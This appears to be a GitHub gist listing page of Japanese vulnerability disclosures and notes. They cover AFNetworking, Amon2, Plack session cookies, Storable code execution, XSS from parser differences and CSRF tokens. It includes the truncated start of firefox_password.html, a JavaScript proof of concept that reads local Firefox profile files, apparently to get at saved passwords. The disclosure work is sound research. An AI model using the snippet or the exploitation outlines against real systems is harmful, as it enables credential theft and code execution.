Skip to content

Instantly share code, notes, and snippets.

@mala
mala / gist:fad5e0bc8a82a9c0fc9d
Last active Dec 29, 2016
AFNetworking 2.5.2 以下の脆弱性について
View gist:fad5e0bc8a82a9c0fc9d

未修正のアプリが数多く残っている状態なので、パブリックな場所での言及には注意して下さい

未修正のアプリが数多く残っている状況ですが、すでに広く情報が公開されており、2.5.2で修正されたという情報が広まると混乱が生じるため広く周知する次第です。

問題と経緯

AFNetworking 2.5.1 にMITM攻撃を許す脆弱性があり、2.5.2で修正された、 と報道されていますが、これは誤りです。

View firefox_password.html
<html>
<head></head>
<body>
<script>
function firefox_password(){
var username = location.href.match(/Users\/(.*?)\//)[1];
var base = "/Users/" + username + "/Library/Application\ Support/Firefox/";
var xhr = new XMLHttpRequest;
read_file(base + "profiles.ini", function(res){
var v = res;
@mala
mala / gist:9c8154f68d15be6145ad
Created Aug 14, 2014
Amon2及び関連モジュールのセキュリティアップデートに関する追加情報、及び Plack::Middleware::Session::Cookie の脆弱性について
View gist:9c8154f68d15be6145ad

HTTP::Session2::ClientStoreの影響について訂正があります。

以前の情報:

  • アプリケーションの実装や、ロードしているモジュールによっては、任意のコード実行に繋がる可能性があります

訂正後:

  • インストールされているモジュール次第で、任意のコード実行が可能です。
  • 典型的なWebアプリケーションの構成の場合、ほぼ確実に任意のコード実行が可能であることが確認されています。

Plack::Middleware::Session::Cookie にも同等の問題が確認されました。

@mala
mala / aaa.md
Last active Nov 13, 2015
Plack::Middleware::Session::Cookie で secret未指定の場合のremote code executionについて
View aaa.md
@mala
mala / gist:82074a542d703247a481
Created Aug 5, 2014
Storableからの任意コード実行脆弱性についての調査
View gist:82074a542d703247a481

Storableからの任意コード実行脆弱性についての調査

概要

  • HTTP::Cookies と DBI::ProfileDumperを使う
  • HTTP::Cookies は LWPの依存モジュールで、DBI::ProfileDumperはDBIに付属している。どちらもインストールされている可能性が非常に高い

HTTP::Cookies の autosave 機能で任意ファイルにcookiejarが保存される。 DBI::ProfileDumper もDESTROY時のflushでファイルに書きこむ。存在しているファイルへの追記であれば比較的自由なフォーマットでファイルに書き込み可能。

@mala
mala / gist:250103a9281340b00330
Created Aug 1, 2014
Amon2及び関連モジュールのセキュリティアップデートのお知らせ
View gist:250103a9281340b00330

概要

Amon2::Util::random_stringの生成する乱数の質に問題があったため、セキュリティ上の問題が発生する可能性があります。

現在のところ重要なセキュリティ修正としては告知されていません。技術的な詳細についてはアップデートが浸透してから公開される予定です。

影響を受けるモジュール

  • Amon2
  • Amon2::Plugin::Web::CSRFDefender
  • HTTP::Session2
@mala
mala / gist:e219cd7dcdf8f1d1382d
Last active Dec 29, 2016
Amon2::Util の random_string の実装に起因する脆弱性
View gist:e219cd7dcdf8f1d1382d

(まだ影響範囲調査 + いくつかアップデート予定なので公開ブクマなしで、社内共有はOKです)

Amon2::Util の random_string の実装に起因する脆弱性

Amon2::Util の random_string は暗号論的に安全ではありません。

Amon2::Utilのrandom_stringの無作為性はsrandのみに依存しています。引数無しのsrandを呼び出したときに使われるseedは32bit intです。

# 大体43億ぐらいの値が出てきます 
@mala
mala / gist:61a2eef2833bfef0456b
Created Jun 12, 2014
RFC7231のリファラに関するメモ
View gist:61a2eef2833bfef0456b
https://twitter.com/bulkneets/status/476343189717012480
をきっかけにリファラにabout:blankが提案された経緯について調べていた。
単にnull値として使えると定義されただけで、現状積極的に送れと推奨されているわけではないと認識している。
この変更で https://trac.tools.ietf.org/wg/httpbis/trac/changeset/2072
「about:blank送る or 全く送らない」と書かれていたのが「全く送らない or about:blank送る」と順番逆になったりしている。
----
RFC7231のリファラに関するメモ
@mala
mala / gist:ca1c55c1566fa49253fd
Last active Dec 29, 2016
HTMLパーサの挙動の違いに起因するXSS
View gist:ca1c55c1566fa49253fd

HTMLパーサの挙動の違いに起因するXSS

自己紹介

概要

  • 解釈にブレが生じるHTMLを使ったXSS
  • 特にWYSIWYGエディタ上で起きるものが多い
@mala
mala / gist:9086206
Created Feb 19, 2014
CSRF対策用トークンの値にセッションIDそのものを使ってもいい時代なんて、そもそも無かった
View gist:9086206

概要

http://co3k.org/blog/csrf-token-should-not-be-session-id について。

この記事では触れられていませんが、

  • むかし、セッションIDをHTMLソース中に埋め込んでも脅威は変わらないと主張した人がいました
  • 正確には「hiddenの値のみ漏れやすいような特殊な脆弱性が無ければ」という前提であったけれど、実際にそのようなバグはあったし、予見されていた。
  • とても影響のある人だったので、色々なサイトや書籍がその方法を紹介し、安全なウェブサイトの作り方にも載ってしまいました

この際ハッキリ言っておくべきだと思うので書きますが、そもそもセッションIDを(HTMLソース中に埋め込む)CSRF対策トークンとして使うのは間違いでした。最初から間違っていたのです。正確に言うとCSRFの話は関係ないですね。CSRF関係なく、特に「単体で」セッションハイジャックが可能になるような値を、HTMLソース中に埋め込むべきではありません。

You can’t perform that action at this time.